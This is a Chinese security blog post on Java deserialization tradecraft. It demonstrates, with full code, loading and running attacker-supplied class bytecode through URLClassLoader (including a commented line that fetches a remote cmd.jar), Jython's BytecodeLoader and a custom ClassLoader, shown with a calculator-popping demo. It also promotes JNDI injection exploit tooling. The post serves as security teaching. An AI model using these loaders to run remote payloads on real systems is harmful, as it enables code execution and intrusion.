Java是编译型语言,所有的Java代码都需要被编译成字节码来让JVM执行。Java类初始化时会调用 java.lang.ClassLoader 加载类字节码,ClassLoader会调用defineClass方法来创建一个 java.lang.Class 类实例。
ClassLoader类是一个抽象类,并不能直接拿来用,jdk中有几个具体实现类,比如
-
DefiningClassLoader
-
BCEL ClassLoader
-
GroovyClassLoader
-
URLClassLoader
-
Jython中PythonInterpreter的org.python.core.BytecodeLoader
-
自己实现ClassLoader
-
等等
本文主要讲解三种
-
URLClassLoader
-
BytecodeLoader
-
自己定义ClassLoader去从字节码中加载类
一、URLClassLoader
package org.chabug.loader;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderDemo {
public static void main(String[] args) throws Exception {
// URL url = new URL("https://baidu.com/cmd.jar"); // 也可以加载远程jar
URL url = new URL("file:///d:/calc.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通过URLClassLoader加载jar包
Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
aClass.newInstance();
}
}
jar包制作命令为
jar cvf calc.jar Calc.class
恶意代码直接写在static代码块中,新建类实例newInstance()时会自动执行。
成功弹出计算器
二、BytecodeLoader
package org.chabug.loader;
import org.python.util.PythonInterpreter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
public class BytecodeLoaderLoader {
public static void main(String[] args) throws Exception {
String className = "org.chabug.demo.Calc";
byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class");
String classBytes = "";
for (byte b : bytes) {
classBytes += String.format("%s%s", b, ",");
}
String s = String.format("from org.python.core import BytecodeLoader;n" +
"from jarray import arrayn" +
"myList = [%s]n" +
"bb = array( myList, 'b')n" +
"BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className);
PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance();
instance.exec(s);
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
三、自定义ClassLoader
package org.chabug.loader;
import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;
public class MyLoader extends ClassLoader {
public static String className = "org.chabug.demo.Calc";
public static byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class");
public static void main(String[] args) throws Exception {
new MyLoader().loadClass(className).newInstance();
}
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(className)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(className, bytes, 0, bytes.length);
}
return super.findClass(name);
}
}
四、原文链接
https://github.com/Y4er/WebLogic-Shiro-shell
五、相关推荐
JNDI-Injection-Exploit-Plus
-
是一款JNDI注入利用工具,可以生成JNDI链接并启动后端相关服务
-
是一款反序列化Payload生成工具(包含50+ Gadgets链,比ysoserial还多出10+)
工具地址:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
往期回顾:
原文始发于微信公众号(我不是Hacker):Java反序列化技术分享(2)-- 加载类的几种方法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论